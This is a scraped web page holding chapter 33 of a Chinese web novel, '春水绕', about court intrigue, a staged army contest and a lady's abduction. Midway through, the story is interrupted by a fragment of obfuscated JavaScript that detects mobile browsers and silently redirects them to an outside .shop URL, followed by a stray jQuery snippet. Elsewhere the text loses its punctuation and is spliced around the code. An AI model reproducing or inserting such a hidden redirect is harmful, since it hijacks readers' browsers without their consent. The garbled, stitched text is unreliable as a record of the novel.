文趣网 > 网游小说 > 春水绕 > 第33章
    看台上衣香鬓影,翻紫摇红,各色女郎极尽装扮,欲与春光竞明艳。

    萧临眺目远望,只有一女郎明目张胆敢直直望着他。

    眉心那点金箔花像一粒星子,在诸多凌乱的颜色里一闪一闪,颇像是日出前天空最明亮的那颗启明星。

    是在望他吗?

    萧临平生第一次,又不是那么肯定。

    因为他身边还有皇帝,崔兰因此前一直对皇帝很感兴趣,且不说皇帝另一侧还有齐蛮。

    崔兰因早上都不愿见他,现在又如何会看他?

    既不是在看他,便是在看其他人。

    如此目不转睛,究竟在看什么?

    萧临无端端心情焦躁,本来他就不喜人多喧哗的地方,更何况此处大好儿郎实在太多,那些未婚的矜骄女郎都看得目不转睛,更何况崔兰因生性大胆放肆。

    说来也是奇怪。

    倘若崔兰因大胆放肆看着他,他并不会觉得难受,反而有些受用,可一想到她要看着别人,就如万蚁噬心般难受。

    但只要出门在外,又有何人能够管得住崔兰因那双顾盼生辉的眸子不到处乱看?

    萧临自是不愿意伤她分毫,所以最好的办法唯有让她待在玉阆院不出门,这样她便看不到任何人。

    ——可这不是形同幽禁?

    只为自己私心私欲而要幽禁她人,岂是君子所为。不说君子,就是普通人也不该如此。

    萧临并不信神佛,此刻心中满是愧疚却不知该向何人忏悔。

    “见过圣人。”谢五郎从马背

    下来,朝皇帝行了一礼。

    皇帝笑道:“公主顽劣,承明受累了。”

    “公主赐教,臣自当领教。”谢玧轻松回道。

    皇帝顺口替公主讨教:“那依承明所见,公主箭术如何?”

    “稳、快、准。”

    “既然准,承明怎么又无事呢?”

    皇帝此刻明显在故意挑刺,虽然面上还是微笑着。

    然世家对皇帝这种言语挑衅早已应付自如,故而谢玧笑道:“公主下手留有分寸,故而臣侥幸无事。”

    又赞公主“留有分寸”,又说自己“侥幸无事”。

    说起来还不是在说公主没有分寸,冲着要他狗命来的,是他谢五郎艺高胆大,才安然无事。

    众人皆心领神会而笑。

    皇帝也跟着乐呵。

    “今日我儿闹着要跟谢五郎较量,众卿姑且看看热闹吧!”皇帝又摇摇头,像是

    一个对任性顽劣女儿无奈的父亲。

    潘侍中连忙在旁道:“公主虽为女郎但巾帼不让须眉

    一些跟随潘侍中的臣子连忙附和把公主极尽赞美。

    皇帝但笑不语。

    齐蛮在一侧只噙着冷笑。

    从前为皇帝操练禁军的人是大皇子齐毅现在大皇子已经是废人一个皇帝居然想出让公主代替的念头。

    世家在背后无不唾骂之认为皇帝这是公然打他们的脸。

    但他却看的出这是皇帝还没有对大皇子死心。

    公主与大皇子都是他原配所出自是处处比他高贵他宠爱公主何尝不是在给大皇子一个台阶期望他能够从中看出自己的苦心。

    萧临慢下两步与谢玧走在后面。

    “今日这比试你当如何?”

    谢玧道:“且比且看呗她家的兵法还是从我家出去的她熟读了我也全记牢了能用什么阵法又是如何组合怎么变化也一清二楚。”

    萧临突然想到崔兰因看过的话本里有一幕故而问:“你没听过比武招亲吗?”

    谢玧慢半拍才反应过来“哦你是说圣人此举是想把公主许给我?”

    “建康城里再没有比你合适的了。”

    那是因为你小子老奸巨猾。

    谢玧腹诽了句又一耸肩把手摊平:“公主也不愿意嫁我啊你没瞧见她刚刚拿墩子箭往我脸上打多么心狠手辣既不想得到我这个人还要把我毁了!”

    “驸马无实权。”萧临见他还笑嘻嘻不当回事干脆直言提醒道:“你若有承先祖志向的念头就应当小心谨慎。”

    谢玧听到他这一言把笑脸一收。

    “那我能怎么办?”

    他又不是萧神玉皇帝有点风吹草动就能马上得知并想出应对之策。

    说起来萧神玉还得感谢是他千里迢迢把崔兰因带回来不然就崔芙宁和大皇子那种关系他要想娶崔家女还没有这么容易。

    “学你现在马上找个女郎问八字成亲?”谢玧挑眉道。

    这场子上女郎固然多但是满目琳琅又哪是能一时半刻决定和自己携手一生的?

    “你也别这幅凝重的神情左右不过两个结果。我胜做驸马往后见面多给我点面子就成。”谢玧翘起一根指头说完又竖起第二个手指“我败世

    家颜面折损

    “我并不是为你的事。”萧临瞟了他一眼打断他的滔滔不绝。

    这等颜面扫地的事他还讲得眉飞色舞。

    谢玧好奇:“那你是为什么?”

    “我与崔氏成婚并非两情相悦而是权宜之策……”

    “所以?”谢玧满头雾水。

    这不就是媒妁之言父母之命吗?

    所以他无法去约束崔兰因的心在何处因为他成亲的初衷本就不纯又如何去怪她呢?

    萧临不肯给谢玧解释只是抬首面向前方道了句:“公主已经下来了你还是快去做好准备吧。”

    谢玧没有回答反而目光呆愣。

    萧临顺着他的目光见到公主脸上不染娇脂素面淡唇但浓眉亮目英姿飒爽与其在宫廷时傲气的模样截然不同。

    “承明?”

    谢玧摸了下鼻子转身走向为自己牵马的随从一个利落翻身策马而去。

    萧临再次望向看台这次因为与皇帝等人前后距离相差甚远所以得以看清崔兰因的目光果然是落在皇帝身上。

    站在高处崔兰因早把皇帝上上下下看了几遍。

    好在她们这些女郎不必下去给皇帝行礼而且还可利用地形大大方方直面圣颜。

    崔兰因并未见过其他皇帝的模样当然说不好这位究竟像不像皇帝。

    光看其容貌算得上五官端正眉毛眼睛嘴巴都是正常人的大小没有什么大如铜铃能吃小孩等夸张之处。

    倘若着一身普通衣裳走到路上崔兰因顶多会认为这是个稍微有点威武硬朗的中年男子。

    不管这位皇帝多有权势崔兰因私心以为还是萧临那种文气俊朗的模样更得她喜欢。

    “快看谢五郎回来了!”一位女郎指着远处。

    谢五郎这一去一回就带来谢家的苍卫着黑甲擎青旗浩浩荡荡有数千人。

    另一边属于皇帝的禁军。

    谢五郎任中郎将也在这些禁军当中。

    只不过眼下禁军并不是他的同僚而是他的对手。

    崔兰因和其他许多女郎一样看不懂什么军阵就连兵种都只是勉强能分清。

    只见下边一会绑红巾着鱼鳞银甲的禁军呈三阵齐推一会擎青旗的苍卫左右分。翼想把禁军前锋当红色肉馅包进去然饺子皮后边还没合拢肉馅就漏了出去随着苍卫追击战线

    拉长两边的饺子馅拉成了两道血网抓住这只青色的苍鹰。

    苍鹰嘴喙往西边一啄血网破了窟窿但钻出来的鸟身也跟着小了一圈。

    战况胶着难舍难分。

    崔兰因渐渐看出趣味来了正想拉小蛾说几句却突然发现小蛾不在身边。

    问旁边的女郎对方忙着在人堆里找谢五郎的踪影摆手道:“不知道不知道谁现在有空帮你盯着婢女。”

    崔兰因只好自己去找沿途还碰见陈媪同样不知道小蛾的去向。

    过了好一阵小蛾才回来说是自己去更衣结果迷路了。

    崔兰因心道最近的净室并不远怕不是贪玩背着她去别的地方耍了才导致迷路。

    “下回可不能这般了你要是丢了我可找不到你再说了你就不怕齐蛮趁我不注意把你抓了去。”

    小蛾果然怕了小声认错“对不起。”

    恰时周围女郎齐声惊呼崔兰因的注意力又被吸引了去但见苍卫把禁军拦腰截断正准备慢慢蚕食但一匹快马突然从场地绕了个大圈直捣向苍卫后方。

    “是公主!”

    公主不知是什么时候把身上那套显眼的红色外衣扔掉穿着一件黑色的窄袖衣干净利索此刻一支银枪直指谢五郎。

    若说军队苍卫占据上风。

    要说主帅现在谢五郎被公主枪指。

    此乃平局。

    “这些世家郎君奸滑多诈弄一个平局来糊弄吾呢。”

    潘侍中道:“不过……若谢五郎故意露出破绽公主又怎会如此配合?”

    “侍中有何高见?”

    潘侍中躬身道“不敢”但是话还照样说:“臣以为公主最恨被人看轻倘若谢五郎有意承让她岂会不声不响如他所愿?”

    “你的意思是他们二人早有预谋?”

    皇帝笑了下摇摇头起身道:“既然公主都愿意配合那就随了她吧!”

    潘侍中跟着点头余光瞥见家中婢女正在不远处着急张望他走开几步唤人过

    来问话。

    婢女惊恐没有压住嗓音:“郎主三娘子不见了!”

    皇帝闻声侧目“怎么一回事?!”

    /

    从看台下来

    崔兰因挤到前边就听见一阵低低的呜咽哭声几名女郎围着一名柔弱的娘子细声

    安慰。

    从她们断断续续的话语里听出,竟是有一位娘子被掳走了。

    崔兰因踮脚仔细往人群里一看。

    那哭泣的娘子还很眼熟,正是那天夜里她撞见与陆娘子争吵的娘子之一。

    小蛾在她身边劝说:“夫人,这儿人多杂乱,恐不安全,我们还是去找陈媪早点回去吧。”

    崔兰因虽然还想打听是什么事,但小蛾说的也无不道理,这里人越来越多,待会想离开都不容易。

    直到傍晚,崔兰因叫住一个送饭的婢女,弄清楚事情的来龙去脉。

    原是两名女郎结伴去更衣,其中一女郎出来后便在附近看了会花,久久等不到好友又重新进去唤人。

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17774387|209994||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >谁知这时里面却空无一人。

    潘姓娘子在净房里凭空消失,不见踪影!

    这里是皇家宫苑,外有禁军严守,连只苍蝇都不会放进来。

    那歹人既能在重重包围之下掳走一位女郎,又有什么恶事做不出来?

    圣人听闻这件事怎能不震怒惊愕,当即命人一寸寸搜查。

    萧临因此一直都没有回来。

    崔兰因用过饭梳洗沐浴后,连还看了好几本话本,实在困得不行,险些睡过去,这才挨到萧临回来。

    她抖擞精神站起来迎他,却不想萧临见她在屋里,竟先露出诧异的神情,就好像她不该出现在这里。

    崔兰因心道:他忽然说出那样的虎狼之词,胆小些的女郎只怕早就吓得要和他割席了,她只是跑出去躲了一晚,并且短短一晚就把自己安抚好,调整好心态,并在这儿等他。

    难道不是一件很值得惊喜的事吗?

    崔兰因目不转睛盯着他,审视他。

    就不做声,且看他这个聪明的长公子要花多久才能完全明白她的心思!

    萧临心念电转,确实想了许多。

    然很快他又眼睫倦垂,面色沉郁,极为克制地道:“我知道了。”

    崔兰因心底暗喜,然还没开口。

    萧临又紧接着对她道:“你稍等,我拿点东西。”

    崔兰因慢慢露出疑惑之色:“?”

    这么快上道具会不会太激。烈了点?

    而且,萧临会带什么工具?

    崔兰因把脑子里那些稀奇古怪的东西想了一通,又一一否定,这种东西也不知道什么地方能买到。

    书上总是让那些人凭空变出各种只可意会不可言传的小玩意用以调。情作乐,可从不会指明买自何处

    。

    莫非是——壮。阳药?

    若是药的话,自己看方抓取也很容易。

    崔兰因盯着萧临的后背,浮起深深的怀疑,几乎要把他盯穿。

    长公子该不会是真的不行吧?

    所以刚刚才用那么“幽怨”的神情,“可怜巴巴”地睨了她一眼。

    崔兰因几次蠕动唇瓣想开口宽慰一二,书上说就是不举也有药可救的,可缓缓图之,但是壮。阳药大多是虎狼之药,吃多了伤身子啊。

    洽在此时,景澜在外敲门,声音犹豫,“……长公子。”

    萧临又对她道:“今夜宫苑兴许会乱上一阵,圣人严令不得走动,你就留在山上不要出门,我会让景澄在山下带着侍卫看守。”

    听出萧临的安排好像是把自己撇了出去,崔兰因奇怪问:

    “长公子不打算歇在山上吗?”

    萧临心念一动,又复看了眼崔兰因。

    难道她不介意与他同在山上了?

    崔兰因又补充:

    “就简单睡觉,没关系的。”

    也难怪那日的长公子会露出困惑惶然、痛苦古怪的神色。

    他是有贼心没贼力啊!

    萧临要的岂只是睡觉,他道:“今夜恐怕不能安歇,你早些歇息吧。”

    景澜又在外面犹犹豫豫叫“长公子”,萧临便不好继续在这里耽搁,朝崔兰因一点头,往外走。

    崔兰因以为他有公务,不好相拦,只是奇怪他手里空空,也未曾拿走什么东西。

    /

    山脚下,景澄指着人道:

    “长公子,我们抓到一鬼祟之人,自称是袁家门客。”

    那门客还在哎呦直叫唤,满地打滚,浑不在乎自己形象。

    景澄忙不迭解释:“我就轻轻踹了一脚!”

    萧临扫了那人一眼,道:“我认得你。”

    那鼠目长脸的男子蓦然一喜,止住了哭嚎,说道:“长公子还记得我……”

    “几年前你收买萧家婢女,欲监视我行踪,事情败露后又求我饶你一命。我让人逐你出建康,怎会不记得。”

    男子面不改色,笑嘻嘻道:“多谢长公子成全,某才能得袁家倚重。”

    “既然已经寻到高枝,又为何来我面前?”

    “人往高处走,除了长公子这,哪里能算得上高枝……长公子若肯用我,我必会锦上添花……”男子搓着手,极尽谄媚。

    “我从不收背信弃义之辈,更何况你不过是来避祸躲灾。”萧临微笑着,温和道:“何谈锦上添花。”

    被拆穿了心思,那男子终于恼了。

    “长公子何必不留情面,我行事虽下作为人不耻,但用处绝不会少,你们这些郎君自诩洁白无瑕,但又岂能真的干净!哈,高高在上又如何,身边人哪一个不是想利用你的地位、你的名声,侍卫、朋友、夫人?都一样!何必单单说我钻营?”

    萧临的目光一寸寸变得冰冷。

    这人虽是一通乱骂,但确实也戳中了他的痛处。

    景澄大声呵斥:“鼠辈狂言,还不快滚,等着长公子再逐你出去吗?”

    男子拖着痛腿,边走边回头,恨极了他们,尤其是站在中间那郎君。

    若有机会,他一定会让这轮皎洁明月坠入淤泥,也尝尝被千万人唾骂的滋味!